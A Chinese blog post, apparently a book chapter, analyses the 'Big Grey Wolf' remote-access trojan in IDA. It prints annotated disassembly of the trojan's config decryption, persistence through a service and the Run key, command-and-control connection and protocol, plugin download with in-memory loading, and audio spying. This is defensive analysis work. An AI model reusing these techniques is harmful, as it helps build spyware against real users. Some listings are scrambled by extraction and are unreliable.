前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >大灰狼远控木马源码分析

大灰狼远控木马源码分析

作者头像
范蠡
发布2021-12-08 11:37:34
5.4K0
发布2021-12-08 11:37:34
举报

大家好,我是张小方。

本次小方给大家分析一下大灰狼远程控制木马的源码。

大灰狼远程控制木马是一个较为常见的远控工具,不同的木马病毒团伙对其定制改造后发布了诸多变种。本章将从启动过程、通信协议、远控功能三个方面逆向分析该木马的实现原理。

16.1 调试环境配置

首先需要准备调试环境,安装虚拟机 VMware Workstation,配置操作系统(本书以 Windows 7 为例),准备用于调试的病毒样本,如图 16-1 所示。

图 16-1 虚拟调试环境 VMware Workstation 界面

配置好虚拟机后请不要急于调试和分析病毒样本,我们需要先做快照备份,用于虚拟调试环境的还原工作。依次单击菜单选项“虚拟机”→“快照”→“从当前状态创建快照”,弹出快照创建窗口,如图 16-2 所示。

图 16-2 创建快照窗口

重新修改快照名称,然后单击“拍摄快照”,保存快照信息。到这里,我们的前期准备工作就完成了。配置好虚拟调试环境,即使不小心运行了病毒程序,只须还原快照即可回到虚拟环境的初始状态。

16.2 病毒程序初步分析

用 Detect It Easy 工具对病毒样本进行分析后发现,这个病毒程序是由 Microsoft Visual C/ C++(6.0,2003) 编译器编写的。

对病毒样本进行简单分析后,我们确定了分析的方向,接下来就要使用 IDA 分析病毒样本的程序,分析后的结果如图 16-3 所示。

图 16-3 所示为入口处的部分反汇编代码

图 16-3 所示为入口处的部分反汇编代码,是 VS 编译器生成的代码,它们并不是我们关心的病毒程序的功能代码,故不对其进行分析。我们直接从 WinMain 处理代码开始分析,如图 16-4所示。

图 16-4 病毒样本 WinMain代码片段

从图 16-4 中可以看出,WinMain 入口病毒不断插入调用 Sleep API 函数,这是病毒干扰杀毒软件查杀的一种方式。

16.3 启动过程分析

首先分析 WinMain 函数中的程序流程,如代码清单 16-1 所示。

代码清单16-1 启动过程代码片段1

代码语言:javascript
复制
.text:00406CBD push 354h ; 参数2:缓冲区大小
.text:00406CC2 push offset g_AppInfo ; 参数1:要解密数据的缓冲区首地址
.text:00406CC7 stosb   
.text:00406CC8 call EncryptInfo ; 调用解密函数解密被加密配置信息1
.text:00406CCD push 19Ah ; 参数2:缓冲区大小
.text:00406CD2 push offset g_ServerInfo ; 参数1:要解密数据的缓冲区首地址
.text:00406CD7 call EncryptInfo ; 调用解密函数解密被加密的配置信息2
.text:00406CDC push 1 

//cryptInfo函数实现:

代码语言:javascript
复制
.text:00406A30 sub esp, 10Ch  
.text:00406A36 push esi  
.text:00406A37 mov esi, ds:Sleep ; 干扰代码
.text:00406A3D push 0 ; dwMilliseconds
.text:00406A3F mov [esp+114h+key], 'M'  
.text:00406A44 mov [esp+114h+var_10B], 'o' 
.text:00406A49 mov [esp+114h+var_10A], 't' 
.text:00406A4E mov [esp+114h+var_109], 'h' 
.text:00406A53 mov [esp+114h+var_108], 'e' 
.text:00406A58 mov [esp+114h+var_107], 'r' 
.text:00406A5D mov [esp+114h+var_106], '3' 
.text:00406A62 mov [esp+114h+var_105], '6' 
.text:00406A67 mov [esp+114h+var_104], '0' 
.text:00406A6C mov [esp+114h+var_103], 0 ; 初始化局部变量key为Monther360
.text:00406A71 call esi ; Sleep ; 干扰代码
.text:00406A73 lea eax, [esp+110h+key]  
.text:00406A77 push 0Ah ; 参数4:key长度
.text:00406A79
.text:00406A7D lea
push ecx, [esp+114h+sbox]
eax 
; 参数3:key
.text:00406A7E push ecx ; 参数2:保存密钥缓冲区地址
.text:00406A7F mov ecx, dword_409AD4 ; 参数1:全局对象this指针
.text:00406A85
钥 call rc4_init ; 调用r c4初始化函数,根据ke y初始化密
.text:00406A8A push 0 ; dwMilliseconds
.text:00406A8C call esi ; Sleep ; 干扰代码
.text:00406A8E mov edx, [esp+110h+len]  
.text:00406A95 mov eax, [esp+110h+buff]  
.text:00406A9C and edx, 0FFFFh  
.text:00406AA2
.text:00406AA6 lea
push ecx, [esp+110h+sbox]
edx 
; 参数4:要解密数据的缓冲区长度
.text:00406AA7 push eax ; 参数3:要解密数据的缓冲区
.text:00406AA8 push ecx ; 参数2:密钥缓冲区地址
.text:00406AA9 mov ecx, dword_409AD4 ; 参数1:全局对象this指针
.text:00406AAF call rc4_cryp ; 调用RC4加密函数,根据密钥解密数据
.text:00406AB4 push 0 ; dwMilliseconds
.text:00406AB6 call esi ; Sleep ; 干扰代码
.text:00406AB8 pop esi  
.text:00406AB9 add esp, 10Ch  
.text:00406ABF retn   

代码清单 16-1 主要是将全局数据区的应用程序配置信息通过 RC4 加密算法进行解密,解密后的信息如下。配置信息 1:

代码语言:javascript
复制
{
    "服务器IP地址", "服务器通信密码", 2110,
    2110,
    "Mother360", "V_130305"
};

配置信息 2:

代码语言:javascript
复制
{
    "YYYYYYYYYYYY",
    "Yugqqu qekcaigu",
    "Igaoqa ymusuyukeamucgowws", "%ProgramFiles%\\Rumno Qrstuv", "SB360.exe",
    "默认分组",
    "Nmbbre hjveaika", 0,
    0,
    0,
    0,
    0
};

启动过程代码片段 2 见代码清单 16-2。

代码清单16-2 启动过程代码片段2

代码语言:javascript
复制
.text:00406CDC
.text:00406CDE push call 1
create_event 
; 创建互斥体,防止病毒重复运行
.text:00406CE3 add esp, 14h 
.text:00406CEE
.text:00406CF4 cmp
jz dword_40955C, ebx
short loc_406CFB 
; 根据配置信息决定是否删除病毒自身的文件
.text:00406CF6
.text:00406D07 call
retn delete_me
10h 
; 退出程序
.text:00406D2C push 104h ; nSize
.text:00406D31 push ecx ; lpDst
.text:00406D32 push offset Src ; lpSrc
.text:00406D37 call ds:ExpandEnvironmentStringsA
; 配置信息的%SystemRoot%路径扩充为C:WINDOWS\
.text:00406D40 mov ecx, dword_409AD4
.text:00406D46 lea edx, [ebp+Dst]
.text:00406D4C push edx
.text:00406D4D push offset Src
.text:00406D52 call strcpy ; 复制扩充后的路径到配置信息
.text:00406D5A mov ecx, dword_409AD4
.text:00406D60 push offset Src
.text:00406D65 call sub_4044D0 ; 调用函数删除路径尾部的'\'字符
.text:00406DA5 push offset asc_409460 ; "%"
.text:00406DAA lea eax, [ebp+Format]
.text:00406DAD push offset Src
.text:00406DB2 push eax ; Format
.text:00406DB3 push offset Dest ; Dest
.text:00406DB8 call sprintf ; 格式化目录和程序名称字符串
.text:00406DBD add esp, 10h
.text:00406DC3 mov ecx, dword_409AD4
.text:00406DC9 push offset unk_4090E0
.text:00406DCE push offset unk_409C34
.text:00406DD3 call strcpy ; 获取配置信息和服务器通信的密码
.text:00406DDB cmp dword_409568, ebx
.text:00406DE1 jz short loc_406DE8 ; 根据配置信息确定是否关闭进程
.text:00406DE3 call KillProcess
.text:00406DE8 mov al, byte_409560
.text:00406DED test al, al
.text:00406DEF jz loc_406FFF ; 判读是否重新安装
.text:00406E17 push 104h ; nSize
.text:00406E1C push ecx ; lpFilename
.text:00406E1D push ebx ; hModule
.text:00406E1E call ds:GetModuleFileNameA  ; 获取程序路径
.text:00406E27 mov ecx, dword_409AD4
.text:00406E2D lea edx, [ebp+Filename]
.text:00406E33 push offset Dest
.text:00406E38 push edx
.text:00406E39 call strcmp
.text:00406E3E test eax, eax ; 判断安装路径
.text:00406E40 jnz short loc_406EC0
.text:00406E42 mov al, byte_409560
.text:00406E47 mov word_409C10, 3
.text:00406E50 cmp al, 2
.text:00406E52 jnz short loc_406EB0 ; 类型为2表示以服务方式启动病毒
.text:00406E85 mov edi, ds:StartServiceCtrlDispatcherA ; 启动服务
.text:00406EB0 call run_main ; 直接方式运行病毒
 

.text:00406F25
.text:00406F2A push
call offset g_AppInfo
sub_4063F0 
; 写入服务版本安装时间信息到注册表
.text:00406F2F add esp, 1Ch  
.text:00406F36 push offset a3 ; "+3"
.text:00406F3B push offset DisplayName ; lpDisplayName
.text:00406F40 lea ecx, [ebp+Dest]  
.text:00406F46 push offset g_AppInfo ; lpServiceName
.text:00406F4B push ecx ; int
.text:00406F4C call InstallService ; 安装病毒服务
.text:00406F6D jnz short loc_406FBD ; 循环检查进程是否运行
.text:00406FC1
.text:00406FC8 cmp
jnz byte_409560, 1
short loc_406FDE 
; 

检查配置信息,查看是否通过注册表开机运行:

代码语言:javascript
复制
.text:00406FCA lea ecx, [ebp+Dest]  
.text:00406FD0 push ecx ; lpData
.text:00406FD1 push offset g_AppInfo ; int
.text:00406FD6call WriteReg
; 写入注册表到SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run

// run_main函数实现:
.text:00406B10 mov eax, dword_409564 
.text:00406B15 push esi 
.text:00406B16 mov esi, ds:Sleep 
.text:00406B1C
.text:00406B1E test
jz eax, eax
short loc_406B31 
; 根据配置信息判断是否独占打开文件并运行
.text:00406B24 push offset Dest ; lpFileName
.text:00406B29 call occupy_file ; 调用函数独占目标文件
.text:00406B2E
.text:00406B35 add
call esp, 4
socket_main 
; 调用网络通信的主入口函数
.text:00406B3A pop esi 
.text:00406B3B retn  

// occupy_file函数实现:
.text:0040617F call ds:GetCurrentProcess; 获取当前进程
lea eax, [esp+30h+TokenHandle]
.text:0040618F push eax ; TokenHandle
.text:00406190 push 28h ; DesiredAccess
.text:00406192 push edi ; ProcessHandle
.text:00406193 call ds:OpenProcessToken ; 打开当前进程令牌
.text:00406199 test eax, eax
.text:0040619B jz loc_406279
.text:004061B9 mov cl, 69h
.text:004061BB mov dl, 67h
.text:004061BD mov [esp+30h+var_B], cl
.text:004061C1 mov [esp+30h+var_9], cl
.text:004061C5 mov [esp+30h+var_E], dl
.text:004061C9 mov [esp+30h+var_6], dl
.text:004061CD lea ecx, [esp+30h+NewState.Privileges]
.text:004061D1 lea edx, [esp+30h+Name]
.text:004061D5 push ecx ; lpLuid
.text:004061D6 mov al, 65h
.text:004061D8 push edx ; lpName
.text:004061D9 push 0 ; lpSystemName
.text:004061DB mov [esp+3Ch+Name], 53h
.text:004061E0 mov [esp+3Ch+var_13], al
.text:004061E4 mov [esp+3Ch+var_12], 44h
 


.text:004061E9 mov [esp+3Ch+var_11], al 
.text:004061ED mov [esp+3Ch+var_10], 62h 
.text:004061F2 mov [esp+3Ch+var_F], 75h 
.text:004061F7 mov [esp+3Ch+var_D], 50h 
.text:004061FC mov [esp+3Ch+var_C], 72h 
.text:00406201 mov [esp+3Ch+var_A], 76h 
.text:00406206 mov [esp+3Ch+var_8], 6Ch 
.text:0040620B mov [esp+3Ch+var_7], al 
.text:0040620F mov [esp+3Ch+var_5], al 
.text:00406213
.text:00406218 mov
call [esp+3Ch+var_4], 0
ds:LookupPrivilegeValueA; 查询令牌特权
.text:0040624A push 0 ; ReturnLength
.text:0040624C push 0 ; PreviousState
.text:0040624E lea eax, [esp+38h+NewState]  
.text:00406252 push 0 ; BufferLength
.text:00406254 push eax ; NewState
.text:00406255 push 0 ; DisableAllPrivileges
.text:00406257 push ecx ; TokenHandle
.text:00406258 call ds:AdjustTokenPrivileges ; 调整令牌特权
.text:0040626A mov edx, [esp+30h+TokenHandle]  
.text:0040626E push edx ; hObject
.text:0040626F call ds:CloseHandle ; 关闭句柄
.text:0040627D pop edi  
.text:0040627E pop esi  
.text:0040627F add esp, 28h  
.text:00406282 retn

代码清单 16-2 首先根据解密后配置的信息决定病毒的启动方式:直接启动、通过服务启动、修改注册表 SOFTWARE\Microsoft\Windows\CurrentVersion\Run 开机启动,然后读取和保存注册表信息,最后病毒进入真正的入口代码 run_main。在 run_main 中,病毒根据配置信息决定是否以独占方式运行,使病毒程序无法被删除,其独占运行原理如下。启动过程代码片段 3 如代码清单 16-3 所示。

❑ 通过 AdjustTokenPrivileges 提权。

❑ 通过 OpenProcess 打开 System 进程(PID 为 4)。

❑ 通过 CreateFile 打开独占大文件句柄。

❑ 通过 DuplicateHandle 将文件句柄复制到 System 进程中。

❑ 最后病毒通过 socket_main 函数进入和服务器通信的流程。

代码清单16-3 启动过程代码片段3

代码语言:javascript
复制
.text:004014CD lea eax, [esp+1ACh+WSAData]
.text:004014D1 mov byte ptr [esp+1ACh+var_4], 3
.text:004014D9 push eax ; lpWSAData
.text:004014DA push 202h ; wVersionRequested
.text:004014DF mov dword ptr [esi], offset off_408248
.text:004014E5 call ds:WSAStartup ; 初始化socket库
.text:004014EB push 0 ; lpName
.text:004014ED push 0 ; bInitialState
.text:004014EF push 1 ; bManualReset
.text:004014F1 push 0 ; lpEventAttributes
 


.text:004014F3 call ds:CreateEventA ; 创建socket事件对象
.text:004014F9 lea ecx, [esp+1ACh+key]
.text:004014FD mov [esi+0ACh], eax
.text:00401503 push 5
.text:00401505 mov byte ptr [esi+0B0h], 0
.text:0040150C mov dword ptr [esi+0A8h], 0FFFFFFFFh
.text:00401516 mov al, 'u'
.text:00401518 push ecx
.text:00401519 mov ecx, g_Obj
.text:0040151F push offset unk_409594
.text:00401524 mov [esp+1B8h+key], 'K'
.text:00401529 mov [esp+11h], al
.text:0040152D mov [esp+1B8h+var_1A6], 'G'
.text:00401532 mov [esp+1B8h+var_1A5], 'o'
.text:00401537 mov [esp+1B8h+var_1A4], al ; 初始化通信的包头字符串为KuGou
.text:0040153B call memcpy ; 复制通信包头字符串
.text:00401540 mov ecx, g_Obj
.text:00401546 push offset g_key
.text:0040154B call strlen ; 获取配置信息key的长度
.text:00401550 mov ecx, g_Obj
.text:00401556 push eax
.text:00401557 push offset g_key
.text:0040155C push offset g_sbox
.text:00401561 call rc4_init ; 初始化RC4密钥
.text:0040684D lea ecx, [esp+0A054h+var_A024]
.text:00406851 all connect_server ; 连接服务器

// connect_server函数实现
.text:004016C7 push 6 ; protocol
.text:004016C9 push 1 ; type
.text:004016CB push 2 ; af
.text:004016CD call ds:socket ; 初始化TCP socket
.text:004016D3 cmp eax, 0FFFFFFFFh 
.text:004016D6 mov [esi+0A8h], eax 
.text:004016DC jnz short loc_4016E9 ; 检查socket是否初始化成功
.text:004016DE pop edi 
.text:004016DF pop esi 
.text:004016E0 xor eax, eax 
.text:004016E2 pop ebp 
.text:004016E3 add esp, 1Ch 
.text:004016E6 retn 8 
.text:004016E9 push ebp ; name
.text:004016EA call ds:gethostbyname ; 查询DNS服务器,根据域名转换地址
.text:004016F0 mov edi, eax 
.text:004016F2 test edi, edi 
.text:004016F4 jnz short loc_4016FF ; 检查查询结果
.text:004016F6 pop edi 
.text:004016F7 pop esi 
.text:004016F8 pop ebp 
.text:004016F9 add esp, 1Ch 
.text:004016FC retn 8 
.text:004016FF mov eax, dword_40959C 
.text:00401704 mov [esp+28h+var_10.sa_family], 2
.text:0040170B test eax, eax
.text:0040170D jz short loc_401719
.text:0040170F mov cx, word_409020 
.text:00401716 push ecx 
.text:00401717 jmp short loc_40171E ; 端口大小尾转换
.text:00401719 mov edx, dword ptr [esp+28h+hostshort]
.text:0040171D push edx ; hostshort
.text:0040171E call ds:htons ; 端口大小尾转换
.text:00401724 mov word ptr [esp+28h+var_10.sa_data], ax
.text:00401729 mov eax, [edi+0Ch]
.text:0040172C push 10h ; namelen
.text:0040172E mov ecx, [eax]
.text:00401730 lea eax, [esp+2Ch+var_10]
.text:00401734 push eax ; name
.text:00401735 mov edx, [ecx]
.text:00401737 mov ecx, [esi+0A8h] ; 初始化SOCKADDR结构体
.text:0040173D push ecx ; s
.text:0040173E mov dword ptr [esp+34h+var_10.sa_data+2], edx
.text:00401742 call ds:connect ; 根据配置信息连接服务器
.text:00401748 cmp eax, 0FFFFFFFFh
.text:0040174B jnz short loc_401758 ; 检查连接是否成功
.text:00401787 push 4 ; optlen
.text:00401789 push eax ; optval
.text:0040178A push 8 ; optname
.text:0040178C push 0FFFFh ; level
.text:00401791 push ecx ; s
.text:00401792 mov [esp+3Ch+name], 1
.text:0040179A call ds:setsockopt ; 开启KeepAlive机制
.text:004017A0 test eax, eax
.text:004017A2 jnz short loc_4017DE
.text:004017A4 mov ecx, [esi+0A8h]
.text:004017AA push eax ; lpCompletionRoutine
.text:004017AB lea edx, [esp+2Ch+name]
.text:004017AF push eax ; lpOverlapped
.text:004017B0 push edx ; lpcbBytesReturned
.text:004017B1 push eax ; cbOutBuffer
.text:004017B2 push eax ; lpvOutBuffer
.text:004017B3 lea eax, [esp+3Ch+vInBuffer]
.text:004017B7 push 0Ch ; cbInBuffer
.text:004017B9 push eax ; lpvInBuffer
.text:004017BA push 98000004h ; dwIoControlCode
.text:004017BF push ecx ; s
.text:004017C0 mov [esp+4Ch+vInBuffer], 1
.text:004017C8 mov [esp+4Ch+var_18], 0EA60h
.text:004017D0 mov [esp+4Ch+var_14], 1388h
.text:004017D8 call ds:WSAIoctl ; 设置超时信息
.text:004017DE push 1
.text:004017E0 push 0
.text:004017E2 push 0
.text:004017E4 push esi
.text:004017E5 push offset recv_proc ; 参数3:线程回调函数
.text:004017EA push 0
.text:004017EC push 0
.text:004017EE mov byte ptr [esi+0B0h], 1
.text:004017F5 call create_threaad ; 创建接收主控端数据线程

// recv_proc函数实现:
.text:00401BC9 push 0 ; timeout
.text:00401BCB push 0 ; exceptfds
.text:00401BCD lea ecx, [esp+2380h+readfds] 
.text:00401BD4 push 0 ; writefds
.text:00401BD6 push ecx ; readfds
.text:00401BD7 push 0 ; nfds
.text:00401BD9 call ds:select ; select检查主控端发送的数据
.text:00401BDF cmp eax, 0FFFFFFFFh 
.text:00401BE2 jz loc_401DD6 
.text:00401BE8 test eax, eax 
.text:00401BEA jle loc_401DC3 
.text:00401BF0 mov ecx, 800h 
.text:00401BF5 xor eax, eax 
.text:00401BF7 lea edi, [esp+2378h+buf] 
.text:00401C0A push 0 ; flags
.text:00401C0C lea edx, [esp+237Ch+buf] 
.text:00401C13 push 2000h ; len
.text:00401C18 push edx ; buf
.text:00401C19 push eax ; s
.text:00401C1A call ds:recv ; 接收主控端发送的数据

如代码清单 16-3 所示,病毒接下来初始化 socket,然后创建一个线程,循环接收从远程主控端发送来的数据。

16.4 通信协议分析

通信协议分析如代码清单 16-4 所示。

代码清单16-4 通信协议代码片段

代码语言:javascript
复制
.text:00401C78 lea eax, [esp+2378h+buf]
.text:00401C7F push 9 ; 参数4:数据长度
.text:00401C81 lea ecx, [esp+237Ch+sbox]
.text:00401C85 push eax ; 参数3:缓冲区buf
.text:00401C86 push ecx ; 参数2:密钥
.text:00401C87 jmp short loc_401C97 ; 参数1:this指针
.text:00401C89 lea edx, [esp+2378h+buf]
.text:00401C90 push esi
.text:00401C91 lea eax, [esp+237Ch+sbox]
.text:00401C95 push edx
.text:00401C96 push eax
.text:00401C97 mov ecx, g_Obj ; 参数1:this指针
.text:00401C9D call rc4_cryp ; RC4解密数据头,接收数据的前9字节
.text:00401CA6 lea ecx, [esp+2378h+buf]
.text:00401CAD push esi ; Size
.text:00401CAE push ecx ; Src
.text:00401CAF lea ecx, [esp+2380h+buff_obj] ; 缓冲区对象this指针
.text:00401CB3 call buff_save ; 保存接收的数据到缓冲区
.text:00401CBA mov [esp+237Ch+size], 0
.text:00401CC4 push 4 ; Size
.text:00401CC6 push 5 ; 参数2:offset,缓冲区偏移
.text:00401CC8 lea ecx, [esp+2380h+buff_obj] ; 参数1:缓冲区对象this指针

.text:00401CCC call buff_get ; 获取缓冲区的数据
.text:00401CD1 lea edx, [esp+237Ch+size]
.text:00401CD5 push eax ; Src
.text:00401CD6 push edx ; Dst
.text:00401CD7 call memmove
; 从缓冲区获取数据的大小,前5字节为标志,后4字节为数据长度
.text:00401CDC add esp, 0Ch
.text:00401CE3 push 0 ; 参数2:offset,缓冲区偏移
.text:00401CE5 lea ecx, [esp+237Ch+buff_obj] ; 参数1:缓冲区对象this指针
.text:00401CE9 mov edi, offset unk_409594
.text:00401CEE call buff_get ; 获取前5字节的标志
.text:00401CF3 mov esi, eax
.text:00401CF5 mov ecx, 5
.text:00401CFA xor eax, eax
.text:00401CFC repe cmpsb
.text:00401CFF jnz loc_401DA7 ; 判断前5字节标志是否为KuGou
.text:00401D07 mov eax, [esp+2378h+size]
.text:00401D0B test eax, eax
.text:00401D0D jz loc_401DC3
.text:00401D13 lea ecx, [esp+2378h+var_2364]
.text:00401D17 call buff_get_size
.text:00401D1C mov ecx, [esp+2378h+size]
.text:00401D20 cmp eax, ecx
.text:00401D22 jb loc_401DC3
.text:00401D28 push ecx ; unsigned int
.text:00401D29 call ??2@YAPAXI@Z ; 申请数据缓冲区
.text:00401D2E mov ecx, [esp+237Ch+size]
.text:00401D32 add esp, 4
.text:00401D35 mov esi, eax
.text:00401D37 push ecx ; Size
.text:00401D38 push 0
.text:00401D3A lea ecx, [esp+2380h+var_2364]
.text:00401D3E call buff_get
.text:00401D43 push eax ; Src
.text:00401D44 push esi ; Dst
.text:00401D45 call memmove ; 保存数据到缓冲区
.text:00401D4A add esp, 0Ch
.text:00401D4D lea ecx, [esp+2378h+buff_obj]
.text:00401D51 call buff_clean ; 清除缓冲区数据
.text:00401D56 lea ecx, [esp+2378h+var_2364]
.text:00401D5A call buff_clean ; 清除缓冲区数据
.text:00401D5F mov ecx, g_Obj
.text:00401D65 push 100h
.text:00401D6A lea edx, [esp+237Ch+sbox]
.text:00401D6E push offset g_sbox
.text:00401D73 push edx
.text:00401D74 call memcpy ; 复制密钥
.text:00401D79 lea ecx, [esp+2378h+sbox]
.text:00401D7D mov eax, [esp+2378h+size]
.text:00401D81 push eax
.text:00401D82 push esi
.text:00401D83 push ecx
.text:00401D84 mov ecx, g_Obj
.text:00401D8A call rc4_cryp ; 根据头的数据长度解密数据
.text:00401D8F mov ecx, ebx
 


.text:00401D91 mov edx, [esp+2378h+size]
.text:00401D95 push edx ; prev_size
.text:00401D96 push esi ; Src
.text:00401D97 call parse_data ; 调用解析数据函数

//parse_data函数实现代码:
.text:00401F1D push 5 ; Size
.text:00401F1F push ecx ; Dst
.text:00401F20 mov ecx, edi ; 参数1:对象this指针
.text:00401F22 call buff_read ; 读取标志5字节
.text:00401F2A lea edx, [ebp+prev_size]
.text:00401F2D push 4 ; Size
.text:00401F2F push edx ; Dst
.text:00401F30 mov ecx, edi
.text:00401F32 call buff_read ; 读取压缩前的数据大小
.text:00401F3A lea eax, [ebp+aft_size]
.text:00401F3D push 4 ; Size
.text:00401F3F push eax ; Dst
.text:00401F40 mov ecx, edi ; 参数1:对象this指针
.text:00401F42 call buff_read ; 读取压缩后的数据大小
.text:00401F4A mov ecx, [ebp+prev_size]
.text:00401F4F lea ebx, [ecx-11h] ; 申请空间的大小减去头大小,头大小为17字节
.text:00401F54 push ebx ; unsigned int
.text:00401F55 call ??2@YAPAXI@Z ; 申请缓冲区空间
.text:00401F5A add esp, 4
.text:00401F5D mov [ebp+Src], eax
.text:00401F64 mov edx, [ebp+Src]
.text:00401F67 push ebx ; Size
.text:00401F68 push edx ; Dst
.text:00401F69 mov ecx, edi ; 参数1:对象this指针
.text:00401F6B call buff_read ; 读取数据
.text:00401F74 lea eax, [ebp+var_18]
.text:00401F77 push 4 ; Size
.text:00401F79 push eax ; Dst
.text:00401F7A mov ecx, edi ; 参数1:对象this指针
.text:00401F7C call buff_read ; 读取压缩标志
.text:00401F85 cmp [ebp+var_18], 1C03h
.text:00401F8C jnz short loc_401FCD ; 检查压缩标志,数据是否压缩过,压缩过则不处理
.text:00401F8E mov ecx, [ebp+var_14]
.text:00401F91 add ecx, 2Ch
.text:00401F94 call buff_clean ; 清空缓冲区
.text:00401F99 mov eax, [ebp+var_14]
.text:00401F9C mov edx, [ebp+Src]
.text:00401F9F push ebx ; Size
.text:00401FA0 push edx ; Src
.text:00401FA1 lea ebx, [eax+2Ch]
.text:00401FA4 mov ecx, ebx ; 参数1:对象this指针
.text:00401FA6 call buff_save ; 保存解密解压后的数据到对象缓冲区
.text:00401FAB mov ecx, ebx ; 参数1:对象this指针
.text:00401FAD call buff_get_size ; 获取缓冲区大小
.text:00401FB2 push 0
.text:00401FB4 mov ecx, ebx ; 参数1:对象this指针
.text:00401FB6 mov ebx, eax
.text:00401FB8 call buff_get ; 获取缓冲区地址
.text:00401FBD mov ecx, [ebp+var_14]
 


.text:00401FC0 push ebx
.text:00401FC1 push eax
.text:00401FC2 mov ecx, [ecx+0B4h]
.text:00401FC8 mov edx, [ecx] ; 获取对象虚表
.text:00401FCA call dword ptr [edx+4] ; 调用虚函数parse_command解析命令

//parse_command函数实现代码:
.text:00403620 push esi
.text:00403621 mov esi, ecx
.text:00403623 mov eax, [esi+4]
.text:00403626 mov ecx, [eax+0A8h]
.text:0040362C mov eax, [esp+4+arg_0]
.text:00403630 mov dword_4099C0, ecx
.text:00403636 xor ecx, ecx
.text:00403638 mov cl, [eax] ; switch第一个字节的命令

如代码清单 16-4 所示,经过分析发现所有数据都经过 RC4 加密,其他用于描述头部信息的数据共有 17 字节,整个协议格式描述如表 16-1 所示。

命令功能如表 16-2 所示。

16.5 远控功能分析

远控功能分析如代码清单 16-5 所示。

代码清单16-5 从主控端下载并运行插件功能代码片段

代码语言:javascript
复制
.text:0040287A mov eax, g_isLoad ; 插件加载标志
.text:0040287F push ebp 
.text:00402880 mov [esp+60h+var_44], cl
.text:00402884 mov [esp+60h+var_3A], cl
.text:00402888 mov cl, byte ptr word_409C10
.text:0040288E xor ebp, ebp
.text:00402890 mov bl, 'S'
.text:00402892 push esi
.text:00402893 mov esi, ds:Sleep
.text:00402899 mov [esp+64h+var_43], 'I'
.text:0040289E test eax, eax
.text:004028A0 mov [esp+64h+var_42], 'D'
.text:004028A5 mov [esp+64h+var_41], ':'
.text:004028AA mov [esp+64h+var_40], '2'
.text:004028AF mov [esp+64h+var_3F], '0'
.text:004028B4 mov [esp+64h+var_3D], '3'
.text:004028B9 mov [esp+64h+var_3C], '-'
.text:004028BE mov [esp+64h+var_3B], bl
.text:004028C2 mov [esp+64h+var_38], 0 ; 插件文件ID标志
.text:004028C7 mov byte ptr [esp+64h+IsLoad], cl
.text:004028CB jnz loc_402A41 ; 检查是否加载插件
.text:004028D1 mov ecx, [esp+64h+arg_4]
.text:004028D5 push ecx
.text:004028D6 call get_control_path ; 获取插件保存路径:C:\windows\system32
.text:004028DB add esp, 4
.text:004028DE push ebp ; dwMilliseconds
.text:004028DF call esi ; Sleep
.text:004028E1 push offset FileName ; lpFileName
.text:004028E6 call ds:GetFileAttributesA
.text:004028EC cmp eax, 0FFFFFFFFh
.text:004028EF jz short loc_402966 ; 检查插件动态库文件是否存在
.text:00402982 push 0 ; hTemplateFile
.text:00402984 push 80h ; dwFlagsAndAttributes
.text:00402989 push 3 ; dwCreationDisposition
.text:0040298B push 0 ; lpSecurityAttributes
.text:0040298D push 0 ; dwShareMode
.text:0040298F push 80000000h ; dwDesiredAccess
.text:00402994 push offset FileName ; lpFileName
.text:00402999 call ds:CreateFileA ; 插件更新完成,打开插件文件
.text:0040299F cmp eax, 0FFFFFFFFh
.text:004029A2 mov hObject, eax
.text:004029A7 jnz short loc_4029B2
.text:004029A9 pop esi
.text:004029AA pop ebp
.text:004029AB xor eax, eax
.text:004029AD pop ebx
.text:004029AE add esp, 58h
.text:004029B1 retn 
.text:004029B2 push 0 ; dwMilliseconds
 
.text:004029B4 call esi ; Sleep 
.text:004029B6 mov eax, hObject 
.text:004029BB push 0 ; lpFileSizeHigh
.text:004029BD push eax ; hFile
.text:004029BE call ds:GetFileSize ; 获取文件大小
.text:004029C4 push 4 ; flProtect
.text:004029C6 push 3000h ; flAllocationType
.text:004029CB push eax ; dwSize
.text:004029CC push 0 ; lpAddress
.text:004029CE mov nNumberOfBytesToRead, eax
.text:004029D3 call ds:VirtualAlloc ; 根据文件大小申请内存缓冲区加载
.text:004029DB mov lpBuffer, eax
.text:004029E2 mov ecx, nNumberOfBytesToRead
.text:004029E8 mov edx, lpBuffer
.text:004029EE mov eax, hObject
.text:004029F3 push 0 ; lpOverlapped
.text:004029F5 push offset NumberOfBytesRead ; lpNumberOfBytesRead
.text:004029FA push ecx ; nNumberOfBytesToRead
.text:004029FB push edx ; lpBuffer
.text:004029FC push eax ; hFile
.text:004029FD call ds:ReadFile ; 读取文件数据
.text:00402A03 push 0 ; dwMilliseconds
.text:00402A05 call esi ; Sleep
.text:00402A07 mov ecx, hObject
.text:00402A0D push ecx ; hObject
.text:00402A0E call ds:CloseHandle ; 关闭文件
.text:00402A18 mov edx, lpBuffer
.text:00402A1E push edx
.text:00402A1F call load_pe
; 内存中模拟加载PE文件,避免调用LoadLibrary
.text:00402A24 add esp, 4
.text:00402A27 mov dword_4098B0, eax
.text:00402A2C test eax, eax
.text:00402A2E jnz short loc_402A37 ; 修改内存加载标志
.text:00402A30 pop esi
.text:00402A31 pop ebp
.text:00402A32 pop ebx
.text:00402A33 add esp, 58h
.text:00402A36 retn
.text:00402A37 mov g_isLoad, 1 ; 修改内存加载标志
.text:00402A45 mov eax, [esp+64h+arg_8]
.text:00402A49 mov ecx, dword_4098B0
.text:00402A4F push eax
.text:00402A50 push ecx
.text:00402A51 call get_proc_address
; 调用函数,遍历导出表获取插件导出函数地址,模拟API:GetProcAddress功能

如代码清单 16-5 所示,经过分析发现该病毒为了隐秘地运行插件的核心恶意代码,先从远程服务器下载插件动态库;然后动态申请内存,模拟系统 PE 装载流程,将恶意代码加载进内存;最后通过自己模拟的 GetProcAddress 函数调用动态库的导出函数,且该病毒对动态库文件格式做了加密,修改了 PE 文件的前 2 个字节,导致 IDA 无法解析。注意,不同的变种病毒可能会使用不同的加密方式,这里使用 WinHex 将前 2 字节修改为 MZ,IDA 可以正常反汇编,如图 16-5 所示。

图 16-5 解密后的 PE 文件

如代码清单 16-6 所示,该病毒使用 Windows 波形音频 API 实现录音功能。

代码清单16-6 语音监控代码片段

代码语言:javascript
复制
DllAudio函数实现代码:
.text:10008DA0
.text:10008DA6 sub
call esp, 1D0h
ds:waveInGetNumDevs 
; 
获取音频输入设备
.text:10013B66 push 20000h ; fdwOpen
